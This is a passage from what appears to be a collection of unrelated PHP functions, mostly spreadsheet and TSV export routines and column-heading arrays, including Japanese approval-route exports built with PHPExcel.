->and_where('DEP.item_status', '=', 'active')\n ->and_where_open()\n ->and_where(\\DB::expr(\"'{$export_date}'\"), 'BETWEEN', [\\DB::expr('DEP.enable_start_date'), \\DB::expr('DEP.enable_end_date')])\n ->or_where_open()\n ->and_where(\\DB::expr('DEP.enable_start_date'), '<=', $export_date)\n ->and_where(\\DB::expr('DEP.enable_end_date'), 'IS', \\DB::expr('NULL'))\n ->or_where_close()\n ->and_where_close()\n \n ->and_where('MAD.item_status', '=', 'active')\n ->and_where_open()\n ->and_where(\\DB::expr(\"'{$export_date}'\"), 'BETWEEN', [\\DB::expr('MAD.enable_start_date'), \\DB::expr('MAD.enable_end_date')])\n ->or_where_open()\n ->and_where(\\DB::expr('MAD.enable_start_date'), '<=', $export_date)\n ->and_where(\\DB::expr('MAD.enable_end_date'), 'IS', \\DB::expr('NULL'))\n ->or_where_close()\n ->and_where_close()\n\n ->group_by('MAD.m_department_id', 'MAD.enable_start_date')\n ;\n $items = $query->execute()->as_array();\n \n \n //set content\n $i = 0;\n foreach($items as $item){\n $row = $i+2;\n // \\Vision_Common::system_format_date(strtotime($user['entry_date'])):null)\n $objPHPExcel->setActiveSheetIndex()->setCellValue('A'.$row,$item['business_code'])\n ->setCellValue('B'.$row,$item['business_name'])\n ->setCellValue('C'.$row,$item['division_code'])\n ->setCellValue('D'.$row,$item['division_name'])\n ->setCellValue('E'.$row,$item['department_code'])\n ->setCellValue('F'.$row,$item['department_name'])\n ->setCellValue('G'.$row,$item['enable_start_date']?\\Vision_Common::system_format_date(strtotime($item['enable_start_date'])):null)\n ->setCellValue('H'.$row,$item['enable_end_date']?\\Vision_Common::system_format_date(strtotime($item['enable_end_date'])):null)\n ;\n\n //Get user of routes\n $query = \\DB::select('MU.fullname')\n ->from(['m_user', 'MU'])\n ->join(['m_approval_department', 'MAD'], 'left')->on('MAD.m_user_id', '=', 'MU.id')\n ->where('MU.item_status', '=', 'active')\n ->and_where('MAD.item_status', '=', 'active')\n ->and_where('MAD.m_department_id', '=', $item['m_department_id'])\n ->and_where('MAD.enable_start_date', '=', $item['enable_start_date'])\n ->order_by('MAD.order', 'ASC')\n ;\n $users = $query->execute()->as_array(); \n if(!empty($users)){\n $col = 8;\n foreach ($users as $user) {\n $objPHPExcel->setActiveSheetIndex()->setCellValue(\\PHPExcel_Cell::stringFromColumnIndex($col).$row,$user['fullname']);\n $col++;\n }\n }\n\n $i++;\n }\n\n\n $format = ['alignment'=>array('horizontal'=> \\PHPExcel_Style_Alignment::HORIZONTAL_CENTER,'wrap'=>true)];\n $objPHPExcel->getActiveSheet()->getStyle('A1:U1')->getFill()->setFillType(\\PHPExcel_Style_Fill::FILL_SOLID);\n $objPHPExcel->getActiveSheet()->getStyle('A1:U1')->getFill()->getStartColor()->setRGB('25a9cb');\n\n header(\"Last-Modified: \". gmdate(\"D, d M Y H:i:s\") .\" GMT\");\n header(\"Cache-Control: max-age=0\");\n header('Content-Type: application/vnd.ms-excel');\n header('Content-Disposition: attachment;filename=\"決裁経路(組織)-'.$export_date.'.xls\"');\n $objWriter = \\PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5');\n $objWriter->save('php://output');\n exit; \n }", "public static function excelSkillDemandHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "protected function setHeaders()\n {\n $row = 1; \n $this->objPHPExcel->getActiveSheet()->getColumnDimension('A')->setAutoSize(true);\n \n $mergeCells = 'A' . $row . ':' . 'E' . $row;\n $this->setCellValue('A' . $row, \"Differences between files.\");\n $this->objPHPExcel->getActiveSheet()->getStyle($mergeCells)->getFont()->setBold(true);\n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n $this->objPHPExcel->getActiveSheet()->getRowDimension($row)->setRowHeight(25);\n $this->objPHPExcel->getActiveSheet()->getStyle($mergeCells)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \n \n $row++;\n $cell = 'A' . $row;\n $this->setCellValue($cell, \"Comparing by: \");\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n \n $mergeCells = 'B' . $row . ':' . 'C' . $row;\n $this->setCellValue('B' . $row, $this->getCompareTypeLabel()); \n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n \n \n $row++;\n $cell = 'A' . $row;\n $this->setCellValue($cell, \"Configuration: \");\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n \n $mergeCells = 'B' . $row . ':' . 'M' . $row;\n $this->setCellValue('B' . $row, $this->settings['configuration']); \n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n \n $row += 5;\n $columns = $this->getColumns(); \n foreach ($columns as $columnName => $column) {\n $cell = $columnName . $row;\n $this->setCellValue($cell, $column['title']);\n $this->objPHPExcel->getActiveSheet()->getColumnDimension($columnName)->setAutoSize(true);\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n }\n \n return $row;\n }", "private function _display_project_data( $project, $activity = 'Importing' ) {\n\n\t\t$projecttable = $this->_create_table();\n\n\t\t$projecttable->setHeaders(\n\t\t\t[\n\t\t\t\t'ID',\n\t\t\t\t'Name',\n\t\t\t\t'Visibility',\n\t\t\t\t'Default Branch',\n\t\t\t\t'SSH URL'\n\t\t\t]\n\t\t);\n\n\t\t$projecttable->addRow(\n\t\t\t[\n\t\t\t\t$project[\"id\"],\n\t\t\t\t$project[\"name\"],\n\t\t\t\t$project[\"visibility\"],\n\t\t\t\t$project[\"default_branch\"],\n\t\t\t\t$project[\"ssh_url_to_repo\"],\n\t\t\t]\n\t\t);\n\n\t\t$projecttable->sort( 1 );\n\n\t\t$this->_write_log( '' );\n\t\t$this->_write_log( sprintf( '%s %s repo From %s group', $activity, $project[\"path\"], $project['namespace']['name'] ) );\n\n\t\t$projecttable->display();\n\n\t}", "public function tabs(Plan $plan)\n {\n $tsv = \"Type\\tDescription\\tDue\\tOwner\\tLead\\tCollaborators\\tStatus\\tSuccess Measures\\r\\n\";\n\n foreach ($plan->goals()->orderBy('body', 'asc')->get() as $goal) {\n $tsv .= \"Goal\\t\" . $goal->body . str_repeat(\"\\t\", 6) . \"\\r\\n\";\n\n if (count($goal->objectives->all()) > 0) {\n foreach ($goal->objectives()->orderBy('body', 'asc')->get() as $objective) {\n $tsv .= \"Objective\\t\" . $objective->body . str_repeat(\"\\t\", 6) . \"\\r\\n\";\n\n if (count($objective->actions->all()) > 0) {\n foreach ($objective->actions()->orderBy('body', 'asc')->get() as $action) {\n $tsv .= \"Action\\t\"\n . $action->body . \"\\t\"\n . $action->date . \"\\t\"\n . $action->owner . \"\\t\"\n . $this->split_username_delimiters($action->lead) . \"\\t\"\n . $this->split_username_delimiters($action->collaborators) . \"\\t\"\n . $action->status . \"\\t\"\n . $action->success . \"\\r\\n\";\n\n if (count($action->tasks->all()) > 0) {\n foreach ($action->tasks()->orderBy('body', 'asc')->get() as $task) {\n $tsv .= \"Task\\t\"\n . $task->body . \"\\t\"\n . $task->date . \"\\t\"\n . $task->owner . \"\\t\"\n . $this->split_username_delimiters($task->lead) . \"\\t\"\n . $this->split_username_delimiters($task->collaborators) . \"\\t\"\n . $task->status . \"\\t\"\n . $task->success . \"\\r\\n\";\n }\n }\n }\n }\n }\n }\n }\n\n file_put_contents(\"bp.tsv\", $tsv);\n return view('export.tsv');\n }", "public function getProjectTitles()\n {\n try {\n $sql = $this->select()\n ->from('project', array('ID', 'pname'));\n\n return $this->fetchAll($sql);\n } catch (Exception $ex) {\n echo json_encode(array(\n 'success' => false,\n 'message' => $ex->getMessage(),\n 'code' => $ex->getCode()\n ));\n }\n }", "function view_projects_info(){\n \t$details = array();\n\n \t$link = mysql_connect(DN_HOST, DB_USER, DB_PASS);\n \tmysql_select_db(DB_NAME, $link);\n \t$query = \"select `id`, name from healingcrystals_projects where completed_on is null order by starts_on desc\";\n \t$result = mysql_query($query);\n \twhile($project = mysql_fetch_assoc($result)){\n \t\t$details[] = array('project_name' => $project['name'],\n \t\t\t\t\t\t\t'project_url' => assemble_url('project_overview', array('project_id' => $project['id'])),\n\t\t\t \t\t\t\t\t'project_id' => $project['id']);\n\n\t\t\t$query_1 = \"select id, name from healingcrystals_project_objects\n\t\t\t\t\t\twhere type='Milestone' and\n\t\t\t\t\t\tproject_id='\" . $project['id'] . \"' and\n\t\t\t\t\t\tcompleted_on is null order by created_on desc\";\n\t\t\t$result_1 = mysql_query($query_1);\n\t\t\twhile($milestone = mysql_fetch_assoc($result_1)){\n\t\t\t\t$details[count($details)-1]['milestones'][] = array('milestone_id' => $milestone['id'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'milestone_url' => assemble_url('project_milestone', array('project_id' => $project['id'], 'milestone_id' => $milestone['id'])),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'milestone_name' => $milestone['name']);\n\n\t\t\t\t$query_2 = \"select id, name, integer_field_1 from healingcrystals_project_objects\n\t\t\t\t\t\t\twhere type='Ticket' and\n\t\t\t\t\t\t\tproject_id='\" . $project['id'] . \"' and\n\t\t\t\t\t\t\tmilestone_id='\" . $milestone['id'] . \"' and\n\t\t\t\t\t\t\tcompleted_on is null order by created_on desc\";\n\t\t\t\t$result_2 = mysql_query($query_2);\n\t\t\t\twhile($ticket = mysql_fetch_assoc($result_2)){\n\t\t\t\t\t$index = count($details[count($details)-1]['milestones']) - 1;\n\t\t\t\t\t$details[count($details)-1]['milestones'][$index]['tickets'][] = array('ticket_id' => $ticket['id'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'ticket_url' => assemble_url('project_ticket', array('project_id' => $project['id'], 'ticket_id' => $ticket['integer_field_1'])),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'ticket_name' => $ticket['name']);\n\n\t \t\t$query_3 = \"select id, body\n\t\t \t\t \t\t\t\tfrom healingcrystals_project_objects\n\t\t\t\t \t\t\t\twhere parent_id='\" . $ticket['id'] . \"' and\n\t\t\t\t\t\t\t\tparent_type = 'Ticket'\n\t\t\t\t\t\t\t\torder by created_on desc\";\n\t\t\t\t\t$result_3 = mysql_query($query_3);\n\t\t\t\t\twhile($task = mysql_fetch_assoc($result_3)){\n\t\t\t\t\t\t$index_1 = count($details[count($details)-1]['milestones'][$index]['tickets']) - 1;\n\t\t\t\t\t\t$details[count($details)-1]['milestones'][$index]['tickets'][$index_1]['tasks'][] = array('task_body' => $task['body'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'task_id' => $task['id']);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n \t}\n\n \tmysql_close($link);\n\n \t$this->smarty->assign('details', $details);\n }", "function list_of_available_project_titles()\n{\n\t$output = \"\";\n\t//$static_url = \"https://static.fossee.in/cfd/project-titles/\";\n\t$preference_rows = array();\n\t\t$i = 1;\n\t$query = db_query(\"SELECT * from list_of_project_titles WHERE {project_title_name} NOT IN( SELECT project_title from case_study_proposal WHERE approval_status = 0 OR approval_status = 1 OR approval_status = 3)\");\n\twhile($result = $query->fetchObject()) {\n\t\t$preference_rows[] = array(\n\t\t\t\t$i,\n\t\t\t\t//print_r(array_keys($case_studies_list))\n\t\t\t\tl($result->project_title_name, 'case-study-project/download/project-title-file/' .$result->id)\n\t\t\t\t);\n\t\t\t$i++;\n\t}\n\t\t$preference_header = array(\n\t\t\t'No',\n\t\t\t'List of available projects'\n\t\t);\n\t\t$output .= theme('table', array(\n\t\t\t'header' => $preference_header,\n\t\t\t'rows' => $preference_rows\n\t\t));\n\t\n\treturn $output;\n}", "public function action_list_approval_department_menu(){\n $param = \\Input::param();\n $export_date = isset($param['export_date'])?date('Y-m-d', strtotime($param['export_date'])):date('Y-m-d');\n\n $objPHPExcel = new \\PHPExcel();\n $objPHPExcel->getProperties()->setCreator('Vision')\n ->setLastModifiedBy('Vision')\n ->setTitle('Office 2007 Document')\n ->setSubject('Office 2007 Document')\n ->setDescription('Document has been generated by PHP')\n ->setKeywords('Office 2007 openxml php')\n ->setCategory('Route File');\n\n $header = ['事業本部コード','事業本部','事業部コード','事業部','部門コード','部門','様式', '適用開始日', '適用終了日',\n '第1 承認者','第1 承認者の権限',\n '第2 承認者','第2 承認者の権限','第3 承認者','第3 承認者の権限',\n '第4 承認者','第4 承認者の権限','第5 承認者','第5 承認者の権限',\n '第6 承認者','第6 承認者の権限','第7 承認者','第7 承認者の権限',\n '第8 承認者','第8 承認者の権限','第9 承認者','第9 承認者の権限',\n '第10 承認者','第10 承認者の権限','第11 承認者','第11 承認者の権限',\n '第12 承認者','第12 承認者の権限','第13 承認者','第13 承認者の権限',\n '第14 承認者','第14 承認者の権限','第15 承認者','第15 承認者の権限',\n ];\n $last_column = null;\n foreach($header as $i=>$v){\n $column = \\PHPExcel_Cell::stringFromColumnIndex($i);\n $objPHPExcel->setActiveSheetIndex(0)->setCellValue($column.'1',$v);\n $objPHPExcel->getActiveSheet()->getStyle($column.'1')\n ->applyFromArray([\n 'font' => [\n 'name' => 'Times New Roman',\n 'bold' => true,\n 'italic' => false,\n 'size' => 10,\n 'color' => ['rgb'=> \\PHPExcel_Style_Color::COLOR_WHITE]\n ],\n 'alignment' => [\n 'horizontal' => \\PHPExcel_Style_Alignment::HORIZONTAL_CENTER,\n 'vertical' => \\PHPExcel_Style_Alignment::VERTICAL_CENTER,\n 'wrap' => false\n ]\n ]);\n switch($i+1){\n case 1:\n case 3:\n case 5:\n $width = 10;\n break;\n case 2:\n $width = 18;\n break;\n case 4:\n case 6:\n $width = 30;\n break;\n case 7:\n $width = 50;\n break; \n case 11: case 13:\n case 15: case 17: case 19: case 21: case 23: case 25:\n case 27: case 29: case 31: case 33: case 35: case 37: case 39:\n $width = 20;\n break;\n default:\n $width = 30;\n break;\n }\n $objPHPExcel->getActiveSheet()->getColumnDimension($column)->setWidth($width);\n $last_column = $column;\n }\n \n /*====================================\n * Get list user has department enable_start_date >= export day <= enable_end_date\n * Or enable_start_date >= export day && enable_end_date IS NULL\n *====================================*/\n $query = \\DB::select('MADM.*', \\DB::expr('MM.name AS menu_name'), \\DB::expr('MM.id AS menu_id'), \n \\DB::expr('MRM.name AS request_menu_name'), \\DB::expr('MRM.name AS request_menu_id'),\n 'MD.level')\n ->from(['m_approval_department_menu', 'MADM'])\n ->join(['m_department', 'MD'], 'left')->on('MD.id', '=', 'MADM.m_department_id')\n\n ->join(['m_menu', 'MM'], 'left')->on('MM.id', '=', 'MADM.m_menu_id')\n ->on('MADM.petition_type', '=', \\DB::expr(\"1\"))\n ->on('MM.item_status', '=', \\DB::expr(\"'active'\"))->on('MM.enable_flg', '=', \\DB::expr(\"1\"))\n ->join(['m_request_menu', 'MRM'], 'left')->on('MRM.id', '=', 'MADM.m_menu_id')\n ->on('MADM.petition_type', '=', \\DB::expr(\"2\"))\n ->on('MRM.item_status', '=', \\DB::expr(\"'active'\"))->on('MRM.enable_flg', '=', \\DB::expr(\"1\"))\n ->where('MD.item_status', '=', 'active')\n\n ->and_where('MADM.item_status', '=', 'active')\n ->and_where_open()\n ->and_where(\\DB::expr(\"'{$export_date}'\"), 'BETWEEN', [\\DB::expr('MADM.enable_start_date'), \\DB::expr('MADM.enable_end_date')])\n ->or_where_open()\n ->and_where(\\DB::expr('MADM.enable_start_date'), '<=', $export_date)\n ->and_where(\\DB::expr('MADM.enable_end_date'), 'IS', \\DB::expr('NULL'))\n ->or_where_close()\n ->and_where_close()\n\n ->group_by('MADM.m_department_id', 'MADM.m_menu_id', 'MADM.petition_type', 'MADM.enable_start_date')\n ;\n $items = $query->execute()->as_array();\n \n //set content\n $i = 0;\n foreach($items as $item){\n $row = $i+2;\n \n switch ($item['petition_type']) {\n case 1:\n $menu_name = $item['menu_name'];\n $menu_id = $item['menu_id'];\n break;\n case 2:\n $menu_name = $item['request_menu_name'];\n $menu_id = $item['request_menu_id'];\n break;\n }\n if(empty($menu_id)) continue;\n\n\n //Get Full Name\n switch ($item['level']) {\n case 1:\n //business\n $depInfo = \\Model_MDepartment::comboData(['m_department_id' => $item['m_department_id']], ['task' => 'business']);\n break;\n case 2:\n //division\n $depInfo = \\Model_MDepartment::comboData(['m_department_id' => $item['m_department_id']], ['task' => 'division']);\n break;\n case 3:\n //department\n $depInfo = \\Model_MDepartment::comboData(['m_department_id' => $item['m_department_id']], ['task' => 'department']);\n\n break;\n \n }\n if(empty($depInfo)) continue;\n\n //Get user of routes\n $query = \\DB::select('MU.fullname', \\DB::expr('MA.name AS authority_name'))\n ->from(['m_user', 'MU'])\n ->join(['m_approval_department_menu', 'MADM'], 'left')->on('MADM.m_user_id', '=', 'MU.id')\n ->join(['m_authority', 'MA'], 'left')->on('MA.id', '=', 'MADM.m_authority_id')\n ->where('MU.item_status', '=', 'active')\n ->and_where('MADM.item_status', '=', 'active')\n ->and_where('MADM.m_department_id', '=', $item['m_department_id'])\n ->and_where('MADM.m_menu_id', '=', $item['m_menu_id'])\n ->and_where('MADM.petition_type', '=', $item['petition_type'])\n\n ->where('MU.item_status', '=', 'active')\n ->and_where_open()\n ->and_where('MU.retirement_date', '>', $export_date)\n ->or_where('MU.retirement_date', 'IS',\\DB::expr('NULL'))\n ->and_where_close()\n\n ->and_where('MADM.item_status', '=', 'active')\n ->and_where_open()\n ->and_where(\\DB::expr(\"'{$export_date}'\"), 'BETWEEN', [\\DB::expr('MADM.enable_start_date'), \\DB::expr('MADM.enable_end_date')])\n ->or_where_open()\n ->and_where(\\DB::expr('MADM.enable_start_date'), '<=', $export_date)\n ->and_where(\\DB::expr('MADM.enable_end_date'), 'IS', \\DB::expr('NULL'))\n ->or_where_close()\n ->and_where_close()\n\n ->order_by('MADM.order', 'ASC')\n ->group_by('MADM.m_user_id', 'MADM.m_authority_id')\n ;\n\n //check valid date when level == 3\n if($item['level'] == 3){ \n $query->join(['m_department', 'DEP'], 'left')->on('DEP.id', '=', 'MADM.m_department_id')->on('DEP.level', '=', \\DB::expr(3))\n ->and_where('DEP.item_status', '=', 'active')\n ->and_where_open()\n ->and_where(\\DB::expr(\"'{$export_date}'\"), 'BETWEEN', [\\DB::expr('DEP.enable_start_date'), \\DB::expr('DEP.enable_end_date')])\n ->or_where_open()\n ->and_where(\\DB::expr('DEP.enable_start_date'), '<=', $export_date)\n ->and_where(\\DB::expr('DEP.enable_end_date'), 'IS', \\DB::expr('NULL'))\n ->or_where_close()\n ->and_where_close();\n }\n $users = $query->execute()->as_array(); \n \n if (empty($users)) continue;\n\n\n $business_code = isset($depInfo['business_code'])?$depInfo['business_code']:null;\n $business_name = isset($depInfo['business_name'])?$depInfo['business_name']:null;\n $division_code = isset($depInfo['division_code'])?$depInfo['division_code']:null;\n $division_name = isset($depInfo['division_name'])?$depInfo['division_name']:null;\n $department_code = isset($depInfo['department_code'])?$depInfo['department_code']:null;\n $department_name = isset($depInfo['deparment_name'])?$depInfo['deparment_name']:null;\n \n $objPHPExcel->setActiveSheetIndex()->setCellValue('A'.$row, $menu_name);\n // \\Vision_Common::system_format_date(strtotime($user['entry_date'])):null)\n $objPHPExcel->setActiveSheetIndex()->setCellValue('A'.$row,$business_code)\n ->setCellValue('B'.$row,$business_name)\n ->setCellValue('C'.$row,$division_code)\n ->setCellValue('D'.$row,$division_name)\n ->setCellValue('E'.$row,$department_code)\n ->setCellValue('F'.$row,$department_name)\n ->setCellValue('G'.$row,$menu_name)\n ->setCellValue('H'.$row,$item['enable_start_date']?\\Vision_Common::system_format_date(strtotime($item['enable_start_date'])):null)\n ->setCellValue('I'.$row,$item['enable_end_date']?\\Vision_Common::system_format_date(strtotime($item['enable_end_date'])):null)\n ;\n\n if(!empty($users)){\n $col = 9;\n foreach ($users as $user) {\n $objPHPExcel->setActiveSheetIndex()->setCellValue(\\PHPExcel_Cell::stringFromColumnIndex($col).$row,$user['fullname']);\n $col++;\n $objPHPExcel->setActiveSheetIndex()->setCellValue(\\PHPExcel_Cell::stringFromColumnIndex($col).$row,$user['authority_name']);\n $col++;\n }\n }\n\n $i++;\n }\n\n $format = ['alignment'=>array('horizontal'=> \\PHPExcel_Style_Alignment::HORIZONTAL_CENTER,'wrap'=>true)];\n $objPHPExcel->getActiveSheet()->getStyle('A1:AK1')->getFill()->setFillType(\\PHPExcel_Style_Fill::FILL_SOLID);\n $objPHPExcel->getActiveSheet()->getStyle('A1:AK1')->getFill()->getStartColor()->setRGB('25a9cb');\n\n header(\"Last-Modified: \". gmdate(\"D, d M Y H:i:s\") .\" GMT\");\n header(\"Cache-Control: max-age=0\");\n header('Content-Type: application/vnd.ms-excel');\n header('Content-Disposition: attachment;filename=\"決裁経路(カスタム)-'.$export_date.'.xls\"');\n $objWriter = \\PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5');\n $objWriter->save('php://output');\n exit; \n }", "public static function excelActionsAndStrategiesHeadings()\n {\n return [\n 'Strategies and Actions',\n 'Status',\n 'Responsibility',\n 'Industry',\n ];\n }", "public function headings(): array\n {\n return [\n 'Name',\n 'Department',\n 'OT Date',\n 'Shift',\n 'From',\n 'To',\n 'Total Hrs',\n 'Job Content',\n 'Results',\n 'Supervisor',\n 'Manager',\n 'Date Created',\n 'Last Update'\n ];\n }", "public static function excelSkillsHeadings()\n {\n return [\n 'Skill type',\n 'Agriculture, Forestry and Fishing',\n 'Mining',\n 'Manufacturing',\n 'Electricity, Gas, Water and Waste Services',\n 'Construction',\n 'Wholesale trade',\n 'Retail trade',\n 'Accommodation and food services',\n 'Transport, Postal and Warehousing',\n 'Information media and telecommunications',\n 'Financial and insurance services',\n 'Rental, Hiring and Real Estate Services',\n 'Professional, Scientific and Technical Services',\n 'Administrative and support services',\n 'Public administration and safety',\n 'Education and training',\n 'Health care and social assistance',\n 'Arts and recreation services',\n 'Other services',\n 'South australia'\n ];\n }", "function wpbm_columns_head( $columns ){\n $columns[ 'shortcodes' ] = __( 'Shortcodes', WPBM_TD );\n $columns[ 'template' ] = __( 'Template Include', WPBM_TD );\n return $columns;\n }", "public function headings(): array\n {\n return [\n 'Part Number',\n 'Description',\n 'Quantity',\n 'Date Received',\n// 'Month',\n// 'Year',\n 'Invoice Number',\n 'Vendor',\n 'Unit Price',\n 'Total Price',\n 'Location',\n 'Received By',\n ];\n }", "public function action_list_approval_menu(){\n $param = \\Input::param();\n $export_date = isset($param['export_date'])?date('Y-m-d', strtotime($param['export_date'])):date('Y-m-d');\n\n $objPHPExcel = new \\PHPExcel();\n $objPHPExcel->getProperties()->setCreator('Vision')\n ->setLastModifiedBy('Vision')\n ->setTitle('Office 2007 Document')\n ->setSubject('Office 2007 Document')\n ->setDescription('Document has been generated by PHP')\n ->setKeywords('Office 2007 openxml php')\n ->setCategory('Route File');\n\n $header = ['様式', '適用開始日', '適用終了日',\n '第1 承認者','第1 承認者の権限',\n '第2 承認者','第2 承認者の権限','第3 承認者','第3 承認者の権限',\n '第4 承認者','第4 承認者の権限','第5 承認者','第5 承認者の権限',\n '第6 承認者','第6 承認者の権限','第7 承認者','第7 承認者の権限',\n '第8 承認者','第8 承認者の権限','第9 承認者','第9 承認者の権限',\n '第10 承認者','第10 承認者の権限','第11 承認者','第11 承認者の権限',\n '第12 承認者','第12 承認者の権限','第13 承認者','第13 承認者の権限',\n '第14 承認者','第14 承認者の権限','第15 承認者','第15 承認者の権限',\n ];\n $last_column = null;\n foreach($header as $i=>$v){\n $column = \\PHPExcel_Cell::stringFromColumnIndex($i);\n $objPHPExcel->setActiveSheetIndex(0)->setCellValue($column.'1',$v);\n $objPHPExcel->getActiveSheet()->getStyle($column.'1')\n ->applyFromArray([\n 'font' => [\n 'name' => 'Times New Roman',\n 'bold' => true,\n 'italic' => false,\n 'size' => 10,\n 'color' => ['rgb'=> \\PHPExcel_Style_Color::COLOR_WHITE]\n ],\n 'alignment' => [\n 'horizontal' => \\PHPExcel_Style_Alignment::HORIZONTAL_CENTER,\n 'vertical' => \\PHPExcel_Style_Alignment::VERTICAL_CENTER,\n 'wrap' => false\n ]\n ]);\n switch($i+1){\n case 1:\n $width = 50;\n break;\n case 5: case 7: case 9: case 11: case 13:\n case 15: case 17: case 19: case 21: case 23: case 25:\n case 27: case 29: case 31: case 33: case 35: case 37: case 39: \n $width = 20;\n break;\n default:\n $width = 30;\n break;\n }\n $objPHPExcel->getActiveSheet()->getColumnDimension($column)->setWidth($width);\n $last_column = $column;\n }\n \n /*====================================\n * Get list user has department enable_start_date >= export day <= enable_end_date\n * Or enable_start_date >= export day && enable_end_date IS NULL\n *====================================*/\n $query = \\DB::select('MAM.*',\n \\DB::expr('MM.name AS menu_name'), \\DB::expr('MM.id AS menu_id'), \n \\DB::expr('MRM.name AS request_menu_name'), \\DB::expr('MRM.id AS request_menu_id'))\n ->from(['m_approval_menu', 'MAM'])\n ->join(['m_menu', 'MM'], 'left')->on('MM.id', '=', 'MAM.m_menu_id')\n ->on('MAM.petition_type', '=', \\DB::expr(\"1\"))\n ->on('MM.item_status', '=', \\DB::expr(\"'active'\"))->on('MM.enable_flg', '=', \\DB::expr(\"1\"))\n ->join(['m_request_menu', 'MRM'], 'left')->on('MRM.id', '=', 'MAM.m_menu_id')\n ->on('MAM.petition_type', '=', \\DB::expr(\"2\"))\n ->on('MRM.item_status', '=', \\DB::expr(\"'active'\"))->on('MRM.enable_flg', '=', \\DB::expr(\"1\"))\n ->where('MAM.item_status', '=', 'active')\n ->group_by('MAM.m_menu_id', 'MAM.petition_type', 'MAM.enable_start_date')\n ;\n $items = $query->execute()->as_array();\n \n //set content\n $i = 0;\n foreach($items as $item){\n $row = $i+2;\n switch ($item['petition_type']) {\n case 1:\n $menu_name = $item['menu_name'];\n $menu_id = $item['menu_id'];\n break;\n case 2:\n $menu_name = $item['request_menu_name'];\n $menu_id = $item['request_menu_id'];\n break;\n }\n\n if(empty($menu_id)) continue;\n $objPHPExcel->setActiveSheetIndex()->setCellValue('A'.$row, $menu_name)\n ->setCellValue('B'.$row,$item['enable_start_date']?\\Vision_Common::system_format_date(strtotime($item['enable_start_date'])):null)\n ->setCellValue('C'.$row,$item['enable_end_date']?\\Vision_Common::system_format_date(strtotime($item['enable_end_date'])):null);\n\n //Get user of routes\n $query = \\DB::select('MU.fullname', \\DB::expr('MA.name AS authority_name'))\n ->from(['m_user', 'MU'])\n // ->join(['m_user_department', 'MUD'], 'left')->on('MUD.m_user_id', '=', 'MU.id')\n // ->join(['m_department', 'DEP'], 'left')->on('DEP.id', '=', 'MUD.m_department_id')\n ->join(['m_approval_menu', 'MAM'], 'left')->on('MAM.m_user_id', '=', 'MU.id')\n ->join(['m_authority', 'MA'], 'left')->on('MA.id', '=', 'MAM.m_authority_id')\n ->and_where('MAM.m_menu_id', '=', $item['m_menu_id'])\n ->and_where('MAM.petition_type', '=', $item['petition_type'])\n\n ->where('MU.item_status', '=', 'active')\n ->and_where_open()\n ->and_where('MU.retirement_date', '>', $export_date)\n ->or_where('MU.retirement_date', 'IS',\\DB::expr('NULL'))\n ->and_where_close()\n\n ->and_where('MAM.item_status', '=', 'active')\n ->and_where_open()\n ->and_where(\\DB::expr(\"'{$export_date}'\"), 'BETWEEN', [\\DB::expr('MAM.enable_start_date'), \\DB::expr('MAM.enable_end_date')])\n ->or_where_open()\n ->and_where(\\DB::expr('MAM.enable_start_date'), '<=', $export_date)\n ->and_where(\\DB::expr('MAM.enable_end_date'), 'IS', \\DB::expr('NULL'))\n ->or_where_close()\n ->and_where_close()\n\n ->order_by('MAM.order', 'ASC')\n ->group_by('MAM.m_user_id', 'MAM.m_authority_id')\n ;\n $users = $query->execute()->as_array(); \n\n if(!empty($users)){\n $col = 3;\n foreach ($users as $user) {\n $objPHPExcel->setActiveSheetIndex()->setCellValue(\\PHPExcel_Cell::stringFromColumnIndex($col).$row,$user['fullname']);\n $col++;\n $objPHPExcel->setActiveSheetIndex()->setCellValue(\\PHPExcel_Cell::stringFromColumnIndex($col).$row,$user['authority_name']);\n $col++;\n }\n }\n\n $i++;\n }\n\n\n $format = ['alignment'=>array('horizontal'=> \\PHPExcel_Style_Alignment::HORIZONTAL_CENTER,'wrap'=>true)];\n $objPHPExcel->getActiveSheet()->getStyle('A1:AC1')->getFill()->setFillType(\\PHPExcel_Style_Fill::FILL_SOLID);\n $objPHPExcel->getActiveSheet()->getStyle('A1:AC1')->getFill()->getStartColor()->setRGB('25a9cb');\n\n header(\"Last-Modified: \". gmdate(\"D, d M Y H:i:s\") .\" GMT\");\n header(\"Cache-Control: max-age=0\");\n header('Content-Type: application/vnd.ms-excel');\n header('Content-Disposition: attachment;filename=\"決裁経路(基準)-'.$export_date.'.xls\"');\n $objWriter = \\PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5');\n $objWriter->save('php://output');\n exit; \n }", "function getColumnsDefinition($showPlatforms, $statusLbl, $labels, $platforms)\n{\n $colDef = array();\n\n $colDef[] = array('title_key' => 'test_plan', 'width' => 60, 'type' => 'text', 'sortType' => 'asText',\n 'filter' => 'string');\n\n $colDef[] = array('title_key' => 'build', 'width' => 60, 'type' => 'text', 'sortType' => 'asText',\n 'filter' => 'string');\n \n if ($showPlatforms)\n {\n $colDef[] = array('title_key' => 'platform', 'width' => 60, 'sortType' => 'asText',\n 'filter' => 'list', 'filterOptions' => $platforms);\n }\n\n $colDef[] = array('title_key' => 'th_active_tc', 'width' => 40, 'sortType' => 'asInt',\n 'filter' => 'numeric');\n \n // create 2 columns for each defined status\n foreach($statusLbl as $lbl)\n {\n $colDef[] = array('title_key' => $lbl, 'width' => 40, 'hidden' => true, 'type' => 'int',\n 'sortType' => 